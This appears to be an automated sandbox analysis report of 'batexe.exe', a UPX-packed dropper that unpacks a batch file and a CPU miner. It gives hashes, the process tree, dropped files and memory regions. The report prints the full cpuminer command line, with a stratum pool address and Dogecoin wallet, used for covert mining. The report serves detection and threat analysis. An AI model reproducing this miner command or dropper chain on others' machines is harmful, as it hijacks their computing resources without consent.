73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 07:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1960	b2e.exe
4812	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4148-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 1960	4148	batexe.exe	73
PID 4148 wrote to memory of 1960	4148	batexe.exe	73
PID 4148 wrote to memory of 1960	4148	batexe.exe	73
PID 1960 wrote to memory of 384	1960	b2e.exe	74
PID 1960 wrote to memory of 384	1960	b2e.exe	74
PID 1960 wrote to memory of 384	1960	b2e.exe	74
PID 384 wrote to memory of 4812	384	cmd.exe	77
PID 384 wrote to memory of 4812	384	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Users\Admin\AppData\Local\Temp\B805.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B805.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B805.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BD64.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:384
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B805.tmp\b2e.exe

Filesize
1.4MB

MD5
fe4bc2bb4397eea601e0fa6c45cc20c6

SHA1
35477fc0a38f9db357a70f9b0573537fca582a9b

SHA256
8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

SHA512
3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\B805.tmp\b2e.exe

Filesize
1.2MB

MD5
05f6765e8266a1a7d81a80da7788444e

SHA1
e7afd0bf0dce889a026f4233c6705907083e6e23

SHA256
3256219f071d9bbeb2b3483abc7e647cbb550c0b74c415ace444bd8a334df9e8

SHA512
417d266a6eae32d630cf1322d3ab78f8547b09254ba3b5e2e544a7fd294de819754ab2f104ba2f3cab59a1fcfe7b0ea6f622712736079b7eec12a242b914293c

Download Submit
C:\Users\Admin\AppData\Local\Temp\BD64.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
467KB

MD5
13b110ff24101b85b6dcfa1c4c2bd874

SHA1
50fcd8bd9bf5287a39057385389996e75d9cc16e

SHA256
d83196ce533b40849da718516a4e940a7434159a6ce0516f12d0dcb64152c5f2

SHA512
dba121f168e4e1a717375ee0cd7cee7a2c32674051b328ce317f7d6411cd13386a7ba4b9c82206a40a89c695799705f7489eb67c65795964d8d59c34c66946b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
64KB

MD5
42871db599b90c630b2d75268c8b0116

SHA1
fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

SHA256
80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

SHA512
c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
17.9MB

MD5
31e45b99b26fd63ec538cea9fdefedb0

SHA1
f604da88b4ae6a9f0e82efe693696529ba1882d8

SHA256
b0323cce80d0d312c1db9c3285956cc0f5c5b82304029e71f36e66f2a3c12de9

SHA512
e9d6642fd792d7c6d312759c31de8dad9f9c38ccbb5f5c3508ab99de2fcc00f280d12480cdcac2a34c767ae03ddec39e1fed9db78e8b2d988b2870d67e9ec291

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.4MB

MD5
c9ae142c1510e09336a6ec3c4f956503

SHA1
955797b076daf02c2157e514a95099c71fea2512

SHA256
c69d02d880d31c0302122eabcb4a2dd70baef0371c50bb67db0c249c84130d84

SHA512
60184072570a41aa1070a6c1ea671ec3aa092a7d5f8fc6d0b6cce145a0b033e781c8c6601c87b8bc15b6f5d08310ac3637cf340d4348cf1f9bd4d20b11885956

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
66fcf40e86654f41cad36f479a6844e3

SHA1
67c105d7cc6234acb7827a146004574bc172f796

SHA256
88fce32ee91efaa9368b398581dc3a7138a878c6a105a1377c2ebf70d2cbe9dd

SHA512
ab3d52c322c1ab2eb041b28b8ad55f0a7884bee7c2312510754ce164beacd6a979e1842498abe4afabb50ea8369df9f7023f08ffd86bbdd1bb9eb963293e193a

Download Submit
memory/1960-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1960-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4148-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4812-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4812-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4812-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4812-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-42-0x0000000069460000-0x00000000694F8000-memory.dmp

Filesize
608KB

Download
memory/4812-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download